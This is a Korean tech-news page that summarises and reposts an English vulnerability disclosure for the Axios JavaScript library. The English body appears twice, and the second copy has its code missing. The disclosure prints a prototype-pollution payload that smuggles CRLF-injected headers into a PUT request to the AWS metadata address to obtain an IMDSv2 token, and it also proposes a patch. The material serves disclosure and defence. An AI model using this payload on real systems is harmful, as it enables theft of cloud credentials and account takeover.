Axios: 헤더 삽입 체인을 통한 무제한 클라우드 메타데이터 유출

hackernews | | 📦 오픈소스
#axios #cloud metadata #header injection #prototype pollution #review #vulnerability
원문 출처: hackernews · Genesis Park에서 요약 및 분석

요약

해당 보고서는 자바스크립트 라이브러리인 Axios의 모든 버전(v0.x~v1.x)에서 심각도가 최고 수준인 CVSS 9.9의 치명적인 취약점이 발견되었음을 다루고 있습니다. 해당 취약점은 다른 종속성 라이브러리에서 발생한 프로토타입 오염을 악용해 공격자가 사용자의 직접적인 입력 없이도 HTTP 헤더 값에 CRLF 제어 문자를 주입할 수 있게 만듭니다. 이처럼 Axios가 헤더 값을 제대로 검증하지 않고 전송하는 문제점은 교묘하게 위조된 HTTP 요청을 생성하는 '요청 밀반입(Request Smuggling)' 공격으로 이어지며, 궁극적으로 AWS IMDSv2 보안 제어를 우회해 클라우드 메타데이터를 탈취하고 시스템 전체를 장악할 위험을 초래합니다.

본문

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain Summary The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass). While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities. Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing) Usage of "Helper" Vulnerabilities This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs , minimist , ini , body-parser ), Axios will automatically pick up the polluted properties during its config merge. Because Axios does not sanitise these merged header values for CRLF (\r\n ) characters, the polluted property becomes a Request Smuggling payload. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore"; 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: // This looks safe to the developer await axios.get('https://analytics.internal/pings'); 3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation. Resulting HTTP traffic: GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600 GET /ignore HTTP/1.1 ... 4. The Impact (IMDSv2 Bypass) The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account. Impact Analysis - Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens). - Authentication Bypass: Can inject headers ( Cookie , Authorization ) to pivot into internal administrative panels. - Cache Poisoning: Can inject Host headers to poison shared caches. Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function. Patch Suggestion: // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header }); References - OWASP: CRLF Injection (CWE-113) This report was generated as part of a security audit of the Axios library. Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain Summary The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass). While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities. Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)Usage of "Helper" Vulnerabilities This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g.,qs ,minimist ,ini ,body-parser ), Axios will automatically pick up the polluted properties during its config merge.Because Axios does not sanitise these merged header values for CRLF ( \r\n ) characters, the polluted property becomes a Request Smuggling payload.Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: 3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.Resulting HTTP traffic: 4. The Impact (IMDSv2 Bypass) The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the requiredX-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account. Impact Analysis Cookie ,Authorization ) to pivot into internal administrative panels.Host headers to poison shared caches.Recommended Fix Validate all header values in lib/adapters/http.js andxhr.js before passing them to the underlying request function.Patch Suggestion: References This report was generated as part of a security audit of the Axios library.

Genesis Park 편집팀이 AI를 활용하여 작성한 분석입니다. 원문은 출처 링크를 통해 확인할 수 있습니다.

공유

관련 저널 읽기

전체 보기 →